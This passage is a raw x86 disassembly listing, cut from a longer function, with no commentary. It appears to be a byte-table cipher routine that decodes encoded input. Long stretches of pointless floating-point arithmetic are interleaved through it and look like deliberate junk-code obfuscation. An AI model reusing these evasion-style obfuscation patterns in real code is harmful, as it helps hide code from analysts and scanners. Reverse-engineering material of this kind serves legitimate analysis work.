cmp dword [ebp - 0x5468], 3
ja case.default.0x44c161
mov ecx, dword [ebp - 0x5468]
jmp dword [ecx*4 + 0x46ce84]
movzx edx, byte [ebp - 0x3359]
movzx ebx, byte [ebp + edx - 0x6578]
movsd xmm0, qword [ebp - 0x4814]
call fcn.009eac50
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3359], bl
jmp 0x44c24a
movzx eax, byte [ebp - 0x3359]
movzx ebx, byte [ebp + eax - 0x6578]
movsd xmm0, qword [ebp - 0x4814]
call fcn.009eac50
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3359], bl
jmp 0x44c24a
movzx ecx, byte [ebp - 0x3359]
movzx ebx, byte [ebp + ecx - 0x6578]
movsd xmm0, qword [ebp - 0x4814]
call fcn.009eac50
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3359], bl
jmp 0x44c24a
movzx edx, byte [ebp - 0x3359]
movzx ebx, byte [ebp + edx - 0x6578]
movsd xmm0, qword [ebp - 0x4814]
call fcn.009eac50
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3359], bl
jmp 0x44c24a
movzx eax, byte [ebp - 0x3359]
movzx ecx, byte [ebp + eax - 0x6578]
mov edx, dword [ebp - 0x62f0]
add edx, dword [ebp - 0x44e4]
movzx eax, byte [edx - 4]
add ecx, eax
mov byte [ebp - 0x3359], cl
mov ecx, dword [ebp - 0x44e4]
add ecx, 1
mov dword [ebp - 0x44e4], ecx
movzx edx, byte [ebp - 0x401e]
cmp dword [ebp - 0x44e4], edx
jb 0x44c288
mov dword [ebp - 0x44e4], 0
movzx eax, byte [ebp - 0x401e]
movzx ecx, byte [ebp - 0x3359]
add ecx, eax
mov byte [ebp - 0x3359], cl
movzx edx, byte [ebp - 0x3359]
and edx, dword [ebp - 0x49f8]
mov dword [ebp - 0x4324], edx
mov eax, dword [ebp - 0x4ab0]
add eax, 1
mov dword [ebp - 0x4ab0], eax
cmp dword [ebp - 0x4ab0], 0xb
jbe 0x44c2c7
mov eax, dword [ebp - 0x4324]
xor edx, edx
div dword [ebp - 0x3904]
mov dword [ebp - 0x4324], edx
mov ecx, dword [ebp - 0x4324]
cmp ecx, dword [ebp - 0x3904]
ja 0x44c142
mov edx, dword [ebp - 0x3904]
cmp edx, dword [ebp - 0x4324]
je 0x44c36c
mov eax, dword [ebp - 0x4324]
movzx ecx, byte [ebp + eax - 0x6578]
mov edx, dword [ebp - 0x3904]
movzx eax, byte [ebp + edx - 0x6578]
xor eax, ecx
mov ecx, dword [ebp - 0x3904]
mov byte [ebp + ecx - 0x6578], al
mov edx, dword [ebp - 0x3904]
movzx eax, byte [ebp + edx - 0x6578]
mov ecx, dword [ebp - 0x4324]
movzx edx, byte [ebp + ecx - 0x6578]
xor edx, eax
mov eax, dword [ebp - 0x4324]
mov byte [ebp + eax - 0x6578], dl
mov ecx, dword [ebp - 0x4324]
movzx edx, byte [ebp + ecx - 0x6578]
mov eax, dword [ebp - 0x3904]
movzx ecx, byte [ebp + eax - 0x6578]
xor ecx, edx
mov edx, dword [ebp - 0x3904]
mov byte [ebp + edx - 0x6578], cl
jmp 0x44c0f2
mov eax, 1
shl eax, 0
mov cl, byte [ebp + eax - 0x6578]
mov byte [ebp - 0x3298], cl
mov edx, 1
imul eax, edx, 3
mov cl, byte [ebp + eax - 0x6578]
mov byte [ebp - 0x32c0], cl
mov edx, 1
imul eax, edx, 5
mov cl, byte [ebp + eax - 0x6578]
mov byte [ebp - 0x3318], cl
mov edx, 1
imul eax, edx, 7
mov cl, byte [ebp + eax - 0x6578]
mov byte [ebp - 0x32c1], cl
movzx edx, byte [ebp - 0x3359]
mov al, byte [ebp + edx - 0x6578]
mov byte [ebp - 0x32f4], al
mov dword [ebp - 0x5464], 0xe
cmp dword [ebp - 0x5464], 2
jle 0x44e595
mov ecx, dword [ebp - 0x5464]
and ecx, 1
jne 0x44e595
mov dword [ebp - 0x33e4], 0
mov dword [ebp - 0x390c], 0
mov edx, dword [ebp - 0x390c]
add edx, 1
mov dword [ebp - 0x390c], edx
mov dword [ebp - 0x3e80], 0
mov eax, dword [ebp - 0x33e4]
shl eax, 1
mov dword [ebp - 0x3e80], eax
mov dword [ebp - 0x3d74], 0
mov ecx, dword [ebp - 0x3e84]
add ecx, dword [ebp - 0x3e80]
movzx edx, byte [ecx]
add edx, dword [ebp - 0x3d74]
mov dword [ebp - 0x3d74], edx
mov dword [ebp - 0x3e00], 0
mov eax, dword [ebp - 0x3e00]
add eax, 0xdf
mov dword [ebp - 0x3e00], eax
mov dword [ebp - 0x3e88], 0
mov ecx, dword [ebp - 0x33e4]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x3e88], edx
mov dword [ebp - 0x3dfc], 0
mov eax, dword [ebp - 0x3e84]
add eax, dword [ebp - 0x3e88]
movzx ecx, byte [eax]
add ecx, dword [ebp - 0x3dfc]
mov dword [ebp - 0x3dfc], ecx
mov dword [ebp - 0x3df8], 0
mov edx, dword [ebp - 0x3df8]
add edx, 0x81
mov dword [ebp - 0x3df8], edx
mov dword [ebp - 0x3df4], 0
movss xmm0, dword [0xa6729c]
movss dword [ebp - 0x34bc], xmm0
movss xmm0, dword [0xa67214]
movss dword [ebp - 0x3550], xmm0
movss xmm0, dword [0xa67190]
movss dword [ebp - 0x33fc], xmm0
movss xmm0, dword [0xa670f8]
movss dword [ebp - 0x354c], xmm0
movss xmm0, dword [0xa67068]
movss dword [ebp - 0x3430], xmm0
movss xmm0, dword [0xa66fd4]
movss dword [ebp - 0x34a0], xmm0
movss xmm0, dword [ebp - 0x33fc]
subss xmm0, dword [ebp - 0x34a0]
movss dword [ebp - 0x33fc], xmm0
movss xmm0, dword [ebp - 0x33fc]
addss xmm0, dword [ebp - 0x34a0]
movss dword [ebp - 0x33fc], xmm0
movss xmm0, dword [ebp - 0x33fc]
addss xmm0, dword [ebp - 0x34a0]
movss dword [ebp - 0x33fc], xmm0
movss xmm0, dword [ebp - 0x34bc]
addss xmm0, dword [ebp - 0x34a0]
movss dword [ebp - 0x34bc], xmm0
movss xmm0, dword [ebp - 0x34bc]
subss xmm0, dword [ebp - 0x34a0]
movss dword [ebp - 0x34bc], xmm0
movss xmm0, dword [ebp - 0x33fc]
addss xmm0, dword [ebp - 0x34a0]
movss dword [ebp - 0x33fc], xmm0
movss xmm0, dword [ebp - 0x33fc]
comiss xmm0, dword [ebp - 0x34a0]
jbe 0x44c691
movss xmm0, dword [ebp - 0x354c]
addss xmm0, dword [ebp - 0x3430]
movss dword [ebp - 0x354c], xmm0
movss xmm0, dword [ebp - 0x3550]
subss xmm0, dword [ebp - 0x33fc]
movss dword [ebp - 0x3550], xmm0
movss xmm0, dword [ebp - 0x34bc]
addss xmm0, dword [ebp - 0x3550]
movss dword [ebp - 0x34bc], xmm0
movss xmm0, dword [ebp - 0x3430]
addss xmm0, dword [ebp - 0x34a0]
movss dword [ebp - 0x3430], xmm0
movss xmm0, dword [ebp - 0x33fc]
subss xmm0, dword [ebp - 0x354c]
movss dword [ebp - 0x33fc], xmm0
movss xmm0, dword [ebp - 0x3550]
subss xmm0, dword [ebp - 0x33fc]
movss dword [ebp - 0x3550], xmm0
mov eax, dword [ebp - 0x3d74]
sub eax, dword [ebp - 0x3e00]
add eax, dword [ebp - 0x3df4]
mov dword [ebp - 0x3df4], eax
jmp 0x44cab5
movss xmm0, dword [ebp - 0x3430]
addss xmm0, dword [ebp - 0x34a0]
movss dword [ebp - 0x3430], xmm0
movss xmm0, dword [ebp - 0x33fc]
addss xmm0, dword [ebp - 0x354c]
movss dword [ebp - 0x33fc], xmm0
movss xmm0, dword [ebp - 0x354c]
subss xmm0, dword [ebp - 0x3430]
movss dword [ebp - 0x354c], xmm0
movss xmm0, dword [ebp - 0x3430]
mulss xmm0, dword [ebp - 0x34a0]
movss dword [ebp - 0x3430], xmm0
movss xmm0, dword [ebp - 0x34bc]
subss xmm0, dword [ebp - 0x3550]
movss dword [ebp - 0x34bc], xmm0
movss xmm0, dword [ebp - 0x34bc]
mulss xmm0, dword [ebp - 0x3550]
movss dword [ebp - 0x34bc], xmm0
movss xmm0, dword [ebp - 0x354c]
subss xmm0, dword [ebp - 0x3430]
movss dword [ebp - 0x354c], xmm0
movss xmm0, dword [ebp - 0x354c]
addss xmm0, dword [ebp - 0x3430]
movss dword [ebp - 0x354c], xmm0
movss xmm0, dword [ebp - 0x33fc]
divss xmm0, dword [ebp - 0x354c]
movss dword [ebp - 0x33fc], xmm0
movss xmm0, dword [ebp - 0x34a0]
addss xmm0, dword [ebp - 0x34bc]
movss dword [ebp - 0x34a0], xmm0
movss xmm0, dword [ebp - 0x33fc]
subss xmm0, dword [ebp - 0x354c]
movss dword [ebp - 0x33fc], xmm0
movss xmm0, dword [ebp - 0x33fc]
subss xmm0, dword [ebp - 0x354c]
movss dword [ebp - 0x33fc], xmm0
movss xmm0, dword [ebp - 0x34a0]
comiss xmm0, dword [ebp - 0x3550]
jbe 0x44ca25
movss xmm0, dword [ebp - 0x34a0]
subss xmm0, dword [ebp - 0x3550]
movss dword [ebp - 0x34a0], xmm0
movss xmm0, dword [ebp - 0x3430]
addss xmm0, dword [ebp - 0x34bc]
movss dword [ebp - 0x3430], xmm0
movss xmm0, dword [ebp - 0x3430]
subss xmm0, dword [ebp - 0x34bc]
movss dword [ebp - 0x3430], xmm0
movss xmm0, dword [ebp - 0x34bc]
addss xmm0, dword [ebp - 0x33fc]
movss dword [ebp - 0x34bc], xmm0
movss xmm0, dword [ebp - 0x3430]
subss xmm0, dword [ebp - 0x34bc]
movss dword [ebp - 0x3430], xmm0
movss xmm0, dword [ebp - 0x34bc]
mulss xmm0, dword [ebp - 0x33fc]
movss dword [ebp - 0x34bc], xmm0
movss xmm0, dword [ebp - 0x354c]
subss xmm0, dword [ebp - 0x34a0]
movss dword [ebp - 0x354c], xmm0
movss xmm0, dword [ebp - 0x3430]
mulss xmm0, dword [ebp - 0x34bc]
movss dword [ebp - 0x3430], xmm0
movss xmm0, dword [ebp - 0x3430]
divss xmm0, dword [ebp - 0x34bc]
movss dword [ebp - 0x3430], xmm0
movss xmm0, dword [ebp - 0x34bc]
divss xmm0, dword [ebp - 0x33fc]
movss dword [ebp - 0x34bc], xmm0
movss xmm0, dword [ebp - 0x34a0]
addss xmm0, dword [ebp - 0x3550]
movss dword [ebp - 0x34a0], xmm0
movss xmm0, dword [ebp - 0x33fc]
divss xmm0, dword [ebp - 0x3430]
movss dword [ebp - 0x33fc], xmm0
movss xmm0, dword [ebp - 0x3430]
comiss xmm0, dword [ebp - 0x33fc]
jbe 0x44c990
movss xmm0, dword [ebp - 0x34a0]
divss xmm0, dword [ebp - 0x3550]
movss dword [ebp - 0x34a0], xmm0
movss xmm0, dword [ebp - 0x34a0]
divss xmm0, dword [ebp - 0x3550]
movss dword [ebp - 0x34a0], xmm0
movss xmm0, dword [ebp - 0x3430]
divss xmm0, dword [ebp - 0x34bc]
movss dword [ebp - 0x3430], xmm0
movss xmm0, dword [ebp - 0x33fc]
divss xmm0, dword [ebp - 0x3430]
movss dword [ebp - 0x33fc], xmm0
movss xmm0, dword [ebp - 0x34bc]
mulss xmm0, dword [ebp - 0x33fc]
movss dword [ebp - 0x34bc], xmm0
movss xmm0, dword [ebp - 0x33fc]
divss xmm0, dword [ebp - 0x3430]
movss dword [ebp - 0x33fc], xmm0
jmp 0x44ca20
movss xmm0, dword [ebp - 0x34a0]
divss xmm0, dword [ebp - 0x3550]
movss dword [ebp - 0x34a0], xmm0
movss xmm0, dword [ebp - 0x3430]
divss xmm0, dword [ebp - 0x34bc]
movss dword [ebp - 0x3430], xmm0
movss xmm0, dword [ebp - 0x354c]
divss xmm0, dword [ebp - 0x34a0]
movss dword [ebp - 0x354c], xmm0
movss xmm0, dword [ebp - 0x3550]
subss xmm0, dword [ebp - 0x354c]
movss dword [ebp - 0x3550], xmm0
movss xmm0, dword [ebp - 0x3550]
mulss xmm0, dword [ebp - 0x354c]
movss dword [ebp - 0x3550], xmm0
movss xmm0, dword [ebp - 0x3430]
divss xmm0, dword [ebp - 0x34bc]
movss dword [ebp - 0x3430], xmm0
jmp 0x44cab5
movss xmm0, dword [ebp - 0x33fc]
addss xmm0, dword [ebp - 0x3430]
movss dword [ebp - 0x33fc], xmm0
movss xmm0, dword [ebp - 0x354c]
addss xmm0, dword [ebp - 0x34a0]
movss dword [ebp - 0x354c], xmm0
movss xmm0, dword [ebp - 0x3550]
mulss xmm0, dword [ebp - 0x354c]
movss dword [ebp - 0x3550], xmm0
movss xmm0, dword [ebp - 0x3550]
mulss xmm0, dword [ebp - 0x354c]
movss dword [ebp - 0x3550], xmm0
movss xmm0, dword [ebp - 0x3550]
divss xmm0, dword [ebp - 0x354c]
movss dword [ebp - 0x3550], xmm0
movss xmm0, dword [ebp - 0x34a0]
subss xmm0, dword [ebp - 0x3550]
movss dword [ebp - 0x34a0], xmm0
mov dword [ebp - 0x3dec], 0
mov ecx, dword [ebp - 0x3dfc]
sub ecx, dword [ebp - 0x3df8]
add ecx, dword [ebp - 0x3dec]
mov dword [ebp - 0x3dec], ecx
mov dword [ebp - 0x3e8c], 0
mov edx, dword [ebp - 0x3df4]
shl edx, 4
mov dword [ebp - 0x3e8c], edx
mov dword [ebp - 0x3e90], 0
mov eax, dword [ebp - 0x3dec]
mov dword [ebp - 0x3e90], eax
mov dword [ebp - 0x3e94], 0
mov ecx, dword [ebp - 0x3e8c]
or ecx, dword [ebp - 0x3e90]
mov dword [ebp - 0x3e94], ecx
mov byte [ebp - 0x3319], 0
mov dl, byte [ebp - 0x3e94]
mov byte [ebp - 0x3319], dl
mov byte [ebp - 0x3317], 0
movzx eax, byte [ebp - 0x32f4]
mov cl, byte [ebp + eax - 0x6578]
mov byte [ebp - 0x3317], cl
movzx edx, byte [ebp - 0x3298]
movzx eax, byte [ebp + edx - 0x6578]
movzx ecx, byte [ebp - 0x32c0]
add ecx, eax
mov byte [ebp - 0x32c0], cl
mov dl, byte [ebp - 0x3298]
add dl, 1
mov byte [ebp - 0x3298], dl
movsd xmm0, qword [0xa66ed8]
movsd qword [ebp - 0x41e8], xmm0
movsd xmm0, qword [0xa66e08]
movsd qword [ebp - 0x4188], xmm0
movsd xmm0, qword [0xa66c88]
movsd qword [ebp - 0x4248], xmm0
movsd xmm0, qword [0xa66b30]
movsd qword [ebp - 0x4364], xmm0
movsd xmm0, qword [0xa669b8]
movsd qword [ebp - 0x4418], xmm0
movsd xmm0, qword [0xa66758]
movsd qword [ebp - 0x3f70], xmm0
movsd xmm0, qword [ebp - 0x41e8]
addsd xmm0, qword [ebp - 0x3f70]
movsd qword [ebp - 0x41e8], xmm0
movsd xmm0, qword [ebp - 0x4248]
subsd xmm0, qword [ebp - 0x3f70]
movsd qword [ebp - 0x4248], xmm0
movsd xmm0, qword [ebp - 0x4364]
mulsd xmm0, qword [ebp - 0x3f70]
movsd qword [ebp - 0x4364], xmm0
movsd xmm0, qword [ebp - 0x4248]
mulsd xmm0, qword [ebp - 0x3f70]
movsd qword [ebp - 0x4248], xmm0
movsd xmm0, qword [ebp - 0x4418]
addsd xmm0, qword [ebp - 0x3f70]
movsd qword [ebp - 0x4418], xmm0
movsd xmm0, qword [ebp - 0x4418]
mulsd xmm0, qword [ebp - 0x3f70]
movsd qword [ebp - 0x4418], xmm0
movsd xmm0, qword [ebp - 0x4248]
comisd xmm0, xmmword [ebp - 0x3f70]
jbe 0x44cd34
movsd xmm0, qword [ebp - 0x4188]
subsd xmm0, qword [ebp - 0x4248]
movsd qword [ebp - 0x4188], xmm0
movsd xmm0, qword [ebp - 0x41e8]
addsd xmm0, qword [ebp - 0x4188]
movsd qword [ebp - 0x41e8], xmm0
movsd xmm0, qword [ebp - 0x4418]
mulsd xmm0, qword [ebp - 0x3f70]
movsd qword [ebp - 0x4418], xmm0
movsd xmm0, qword [ebp - 0x3f70]
subsd xmm0, qword [ebp - 0x41e8]
movsd qword [ebp - 0x3f70], xmm0
movsd xmm0, qword [ebp - 0x4364]
addsd xmm0, qword [ebp - 0x4418]
movsd qword [ebp - 0x4364], xmm0
movsd xmm0, qword [ebp - 0x3f70]
subsd xmm0, qword [ebp - 0x41e8]
movsd qword [ebp - 0x3f70], xmm0
movzx eax, byte [ebp - 0x32c0]
movzx ecx, byte [ebp - 0x32f4]
mov dl, byte [ebp + eax - 0x6578]
mov byte [ebp + ecx - 0x6578], dl
jmp 0x44cf8f
movsd xmm0, qword [ebp - 0x4248]
addsd xmm0, qword [ebp - 0x4364]
movsd qword [ebp - 0x4248], xmm0
movsd xmm0, qword [ebp - 0x4188]
addsd xmm0, qword [ebp - 0x4248]
movsd qword [ebp - 0x4188], xmm0
movsd xmm0, qword [ebp - 0x3f70]
mulsd xmm0, qword [ebp - 0x41e8]
movsd qword [ebp - 0x3f70], xmm0
movsd xmm0, qword [ebp - 0x3f70]
addsd xmm0, qword [ebp - 0x41e8]
movsd qword [ebp - 0x3f70], xmm0
movsd xmm0, qword [ebp - 0x4364]
addsd xmm0, qword [ebp - 0x4418]
movsd qword [ebp - 0x4364], xmm0
movsd xmm0, qword [ebp - 0x4248]
subsd xmm0, qword [ebp - 0x4364]
movsd qword [ebp - 0x4248], xmm0
movsd xmm0, qword [ebp - 0x3f70]
subsd xmm0, qword [ebp - 0x41e8]
movsd qword [ebp - 0x3f70], xmm0
movsd xmm0, qword [ebp - 0x4364]
mulsd xmm0, qword [ebp - 0x4418]
movsd qword [ebp - 0x4364], xmm0
movsd xmm0, qword [ebp - 0x4248]
subsd xmm0, qword [ebp - 0x4364]
movsd qword [ebp - 0x4248], xmm0
movsd xmm0, qword [ebp - 0x4418]
subsd xmm0, qword [ebp - 0x3f70]
movsd qword [ebp - 0x4418], xmm0
movsd xmm0, qword [ebp - 0x4188]
divsd xmm0, qword [ebp - 0x4248]
movsd qword [ebp - 0x4188], xmm0
movsd xmm0, qword [ebp - 0x3f70]
addsd xmm0, qword [ebp - 0x41e8]
movsd qword [ebp - 0x3f70], xmm0
movsd xmm0, qword [ebp - 0x4188]
comisd xmm0, xmmword [ebp - 0x4364]
jbe 0x44ceff
movsd xmm0, qword [ebp - 0x41e8]
mulsd xmm0, qword [ebp - 0x4188]
movsd qword [ebp - 0x41e8], xmm0
movsd xmm0, qword [ebp - 0x3f70]
divsd xmm0, qword [ebp - 0x41e8]
movsd qword [ebp - 0x3f70], xmm0
movsd xmm0, qword [ebp - 0x41e8]
mulsd xmm0, qword [ebp - 0x4188]
movsd qword [ebp - 0x41e8], xmm0
movsd xmm0, qword [ebp - 0x4188]
subsd xmm0, qword [ebp - 0x4248]
movsd qword [ebp - 0x4188], xmm0
movsd xmm0, qword [ebp - 0x4188]
mulsd xmm0, qword [ebp - 0x4248]
movsd qword [ebp - 0x4188], xmm0
movsd xmm0, qword [ebp - 0x4188]
subsd xmm0, qword [ebp - 0x4248]
movsd qword [ebp - 0x4188], xmm0
jmp 0x44cf8f
movsd xmm0, qword [ebp - 0x41e8]
addsd xmm0, qword [ebp - 0x4188]
movsd qword [ebp - 0x41e8], xmm0
movsd xmm0, qword [ebp - 0x41e8]
addsd xmm0, qword [ebp - 0x4188]
movsd qword [ebp - 0x41e8], xmm0
movsd xmm0, qword [ebp - 0x4418]
addsd xmm0, qword [ebp - 0x3f70]
movsd qword [ebp - 0x4418], xmm0
movsd xmm0, qword [ebp - 0x4364]
addsd xmm0, qword [ebp - 0x4418]
movsd qword [ebp - 0x4364], xmm0
movsd xmm0, qword [ebp - 0x4188]
subsd xmm0, qword [ebp - 0x4248]
movsd qword [ebp - 0x4188], xmm0
movsd xmm0, qword [ebp - 0x4364]
addsd xmm0, qword [ebp - 0x4418]
movsd qword [ebp - 0x4364], xmm0
movzx eax, byte [ebp - 0x32c1]
movzx ecx, byte [ebp - 0x32c0]
mov dl, byte [ebp + eax - 0x6578]
mov byte [ebp + ecx - 0x6578], dl
movzx eax, byte [ebp - 0x3298]
movzx ecx, byte [ebp - 0x32c1]
mov dl, byte [ebp + eax - 0x6578]
mov byte [ebp + ecx - 0x6578], dl
movzx eax, byte [ebp - 0x3298]
mov cl, byte [ebp - 0x3317]
mov byte [ebp + eax - 0x6578], cl
movzx edx, byte [ebp - 0x3317]
movzx eax, byte [ebp + edx - 0x6578]
movzx ecx, byte [ebp - 0x3318]
add ecx, eax
mov byte [ebp - 0x3318], cl
movzx edx, byte [ebp - 0x3319]
movzx eax, byte [ebp - 0x32c0]
movzx ecx, byte [ebp + eax - 0x6578]
movzx eax, byte [ebp - 0x3298]
movzx eax, byte [ebp + eax - 0x6578]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x6578]
xor edx, ecx
movzx eax, byte [ebp - 0x32c1]
movzx ecx, byte [ebp + eax - 0x6578]
movzx eax, byte [ebp - 0x32f4]
movzx eax, byte [ebp + eax - 0x6578]
add ecx, eax
movzx eax, byte [ebp - 0x3318]
movzx eax, byte [ebp + eax - 0x6578]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x6578]
movzx eax, byte [ebp + ecx - 0x6578]
xor edx, eax
mov byte [ebp - 0x32c1], dl
mov cl, byte [ebp - 0x3319]
mov byte [ebp - 0x32f4], cl
mov dl, byte [ebp - 0x32c1]
mov byte [ebp - 0x3398], dl
cmp dword [ebp - 0x33e4], 0
jle 0x44d0b3
movsx ax, byte [ebp - 0x3398]
mov ecx, dword [ebp - 0x33e4]
mov word [ebp + ecx*2 - 0x72], ax
mov edx, dword [ebp - 0x390c]
add edx, 1
mov dword [ebp - 0x390c], edx
mov eax, dword [ebp - 0x33e4]
add eax, 1
mov dword [ebp - 0x4ab4], eax
jmp 0x44d0e2
mov ecx, dword [ebp - 0x4ab4]
add ecx, 1
mov dword [ebp - 0x4ab4], ecx
mov edx, dword [ebp - 0x4ab4]
cmp edx, dword [ebp - 0x390c]
jge 0x44d926
mov eax, dword [ebp - 0x33e4]
add eax, 1
mov dword [ebp - 0x33e4], eax
mov ecx, dword [ebp - 0x33e4]
shl ecx, 1
mov dword [ebp - 0x3e80], ecx
mov edx, dword [ebp - 0x3e84]
add edx, dword [ebp - 0x3e80]
movzx eax, byte [edx]
mov dword [ebp - 0x3d74], eax
mov dword [ebp - 0x3e00], 0xdf
mov ecx, dword [ebp - 0x33e4]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x3e88], edx
mov eax, dword [ebp - 0x3e84]
add eax, dword [ebp - 0x3e88]
movzx ecx, byte [eax]
mov dword [ebp - 0x3dfc], ecx
mov dword [ebp - 0x3df8], 0x81
mov edx, dword [ebp - 0x3d74]
sub edx, dword [ebp - 0x3e00]
mov dword [ebp - 0x3df4], edx
mov eax, dword [ebp - 0x3dfc]
sub eax, dword [ebp - 0x3df8]
mov dword [ebp - 0x3dec], eax
mov ecx, dword [ebp - 0x3df4]
shl ecx, 4
mov dword [ebp - 0x3e8c], ecx
mov edx, dword [ebp - 0x3dec]
mov dword [ebp - 0x3e90], edx
movss xmm0, dword [0xa67484]
movss dword [ebp - 0x3908], xmm0
movss xmm0, dword [0xa673e4]
movss dword [ebp - 0x3554], xmm0
movss xmm0, dword [0xa672e0]
movss dword [ebp - 0x33b8], xmm0
movss xmm0, dword [0xa671b4]
movss dword [ebp - 0x3484], xmm0
movss xmm0, dword [0xa6707c]
movss dword [ebp - 0x3450], xmm0
movss xmm0, dword [ebp - 0x33b8]
subss xmm0, dword [ebp - 0x3450]
movss dword [ebp - 0x33b8], xmm0
movss xmm0, dword [ebp - 0x3484]
mulss xmm0, dword [ebp - 0x3450]
movss dword [ebp - 0x3484], xmm0
movss xmm0, dword [ebp - 0x33b8]
mulss xmm0, dword [ebp - 0x3450]
movss dword [ebp - 0x33b8], xmm0
movss xmm0, dword [ebp - 0x33b8]
mulss xmm0, dword [ebp - 0x3450]
movss dword [ebp - 0x33b8], xmm0
movss xmm0, dword [ebp - 0x3484]
mulss xmm0, dword [ebp - 0x3450]
movss dword [ebp - 0x3484], xmm0
movss xmm0, dword [ebp - 0x3484]
comiss xmm0, dword [ebp - 0x3450]
jbe 0x44d30a
movss xmm0, dword [ebp - 0x3554]
addss xmm0, dword [ebp - 0x3484]
movss dword [ebp - 0x3554], xmm0
movss xmm0, dword [ebp - 0x3450]
addss xmm0, dword [ebp - 0x3554]
movss dword [ebp - 0x3450], xmm0
movss xmm0, dword [ebp - 0x3484]
mulss xmm0, dword [ebp - 0x3908]
movss dword [ebp - 0x3484], xmm0
movss xmm0, dword [ebp - 0x33b8]
addss xmm0, dword [ebp - 0x3450]
movss dword [ebp - 0x33b8], xmm0
movss xmm0, dword [ebp - 0x3450]
subss xmm0, dword [ebp - 0x3554]
movss dword [ebp - 0x3450], xmm0
mov eax, dword [ebp - 0x3e8c]
or eax, dword [ebp - 0x3e90]
mov dword [ebp - 0x3e94], eax
jmp 0x44d67b
movss xmm0, dword [ebp - 0x33b8]
mulss xmm0, dword [ebp - 0x3450]
movss dword [ebp - 0x33b8], xmm0
movss xmm0, dword [ebp - 0x3908]
subss xmm0, dword [ebp - 0x33b8]
movss dword [ebp - 0x3908], xmm0
movss xmm0, dword [ebp - 0x3908]
mulss xmm0, dword [ebp - 0x33b8]
movss dword [ebp - 0x3908], xmm0
movss xmm0, dword [ebp - 0x3484]
addss xmm0, dword [ebp - 0x3908]
movss dword [ebp - 0x3484], xmm0
movss xmm0, dword [ebp - 0x3450]
addss xmm0, dword [ebp - 0x3554]
movss dword [ebp - 0x3450], xmm0
movss xmm0, dword [ebp - 0x33b8]
addss xmm0, dword [ebp - 0x3484]
movss dword [ebp - 0x33b8], xmm0
movss xmm0, dword [ebp - 0x3554]
addss xmm0, dword [ebp - 0x33b8]
movss dword [ebp - 0x3554], xmm0
movss xmm0, dword [ebp - 0x3554]
addss xmm0, dword [ebp - 0x33b8]
movss dword [ebp - 0x3554], xmm0
movss xmm0, dword [ebp - 0x3484]
addss xmm0, dword [ebp - 0x3450]
movss dword [ebp - 0x3484], xmm0
movss xmm0, dword [ebp - 0x3908]
mulss xmm0, dword [ebp - 0x3554]
movss dword [ebp - 0x3908], xmm0
movss xmm0, dword [ebp - 0x3554]
comiss xmm0, dword [ebp - 0x3450]
jbe 0x44d488
movss xmm0, dword [ebp - 0x3484]
mulss xmm0, dword [ebp - 0x3908]
movss dword [ebp - 0x3484], xmm0
movss xmm0, dword [ebp - 0x3484]
divss xmm0, dword [ebp - 0x3908]
movss dword [ebp - 0x3484], xmm0
movss xmm0, dword [ebp - 0x3450]
divss xmm0, dword [ebp - 0x3554]
movss dword [ebp - 0x3450], xmm0
movss xmm0, dword [ebp - 0x3484]
subss xmm0, dword [ebp - 0x3908]
movss dword [ebp - 0x3484], xmm0
movss xmm0, dword [ebp - 0x3908]
divss xmm0, dword [ebp - 0x33b8]
movss dword [ebp - 0x3908], xmm0
jmp 0x44d67b
movss xmm0, dword [ebp - 0x33b8]
mulss xmm0, dword [ebp - 0x3450]
movss dword [ebp - 0x33b8], xmm0
movss xmm0, dword [ebp - 0x3554]
subss xmm0, dword [ebp - 0x3484]
movss dword [ebp - 0x3554], xmm0
movss xmm0, dword [ebp - 0x33b8]
divss xmm0, dword [ebp - 0x3450]
movss dword [ebp - 0x33b8], xmm0
movss xmm0, dword [ebp - 0x3450]
mulss xmm0, dword [ebp - 0x3554]
movss dword [ebp - 0x3450], xmm0
movss xmm0, dword [ebp - 0x3484]
addss xmm0, dword [ebp - 0x3908]
movss dword [ebp - 0x3484], xmm0
movss xmm0, dword [ebp - 0x33b8]
subss xmm0, dword [ebp - 0x3450]
movss dword [ebp - 0x33b8], xmm0
movss xmm0, dword [ebp - 0x3554]
addss xmm0, dword [ebp - 0x3484]
movss dword [ebp - 0x3554], xmm0
movss xmm0, dword [ebp - 0x3554]
divss xmm0, dword [ebp - 0x3484]
movss dword [ebp - 0x3554], xmm0
movss xmm0, dword [ebp - 0x33b8]
mulss xmm0, dword [ebp - 0x3450]
movss dword [ebp - 0x33b8], xmm0
movss xmm0, dword [ebp - 0x3554]
divss xmm0, dword [ebp - 0x3484]
movss dword [ebp - 0x3554], xmm0
movss xmm0, dword [ebp - 0x3450]
comiss xmm0, dword [ebp - 0x3554]
jbe 0x44d603
movss xmm0, dword [ebp - 0x33b8]
divss xmm0, dword [ebp - 0x3450]
movss dword [ebp - 0x33b8], xmm0
movss xmm0, dword [ebp - 0x33b8]
subss xmm0, dword [ebp - 0x3450]
movss dword [ebp - 0x33b8], xmm0
movss xmm0, dword [ebp - 0x33b8]
subss xmm0, dword [ebp - 0x3450]
movss dword [ebp - 0x33b8], xmm0
movss xmm0, dword [ebp - 0x3450]
mulss xmm0, dword [ebp - 0x3554]
movss dword [ebp - 0x3450], xmm0
movss xmm0, dword [ebp - 0x3908]
subss xmm0, dword [ebp - 0x33b8]
movss dword [ebp - 0x3908], xmm0
jmp 0x44d67b
movss xmm0, dword [ebp - 0x33b8]
addss xmm0, dword [ebp - 0x3484]
movss dword [ebp - 0x33b8], xmm0
movss xmm0, dword [ebp - 0x33b8]
mulss xmm0, dword [ebp - 0x3484]
movss dword [ebp - 0x33b8], xmm0
movss xmm0, dword [ebp - 0x3908]
mulss xmm0, dword [ebp - 0x3554]
movss dword [ebp - 0x3908], xmm0
movss xmm0, dword [ebp - 0x33b8]
subss xmm0, dword [ebp - 0x3484]
movss dword [ebp - 0x33b8], xmm0
movss xmm0, dword [ebp - 0x33b8]
mulss xmm0, dword [ebp - 0x3484]
movss dword [ebp - 0x33b8], xmm0
mov cl, byte [ebp - 0x3e94]
mov byte [ebp - 0x3319], cl
movzx edx, byte [ebp - 0x32f4]
mov al, byte [ebp + edx - 0x6578]
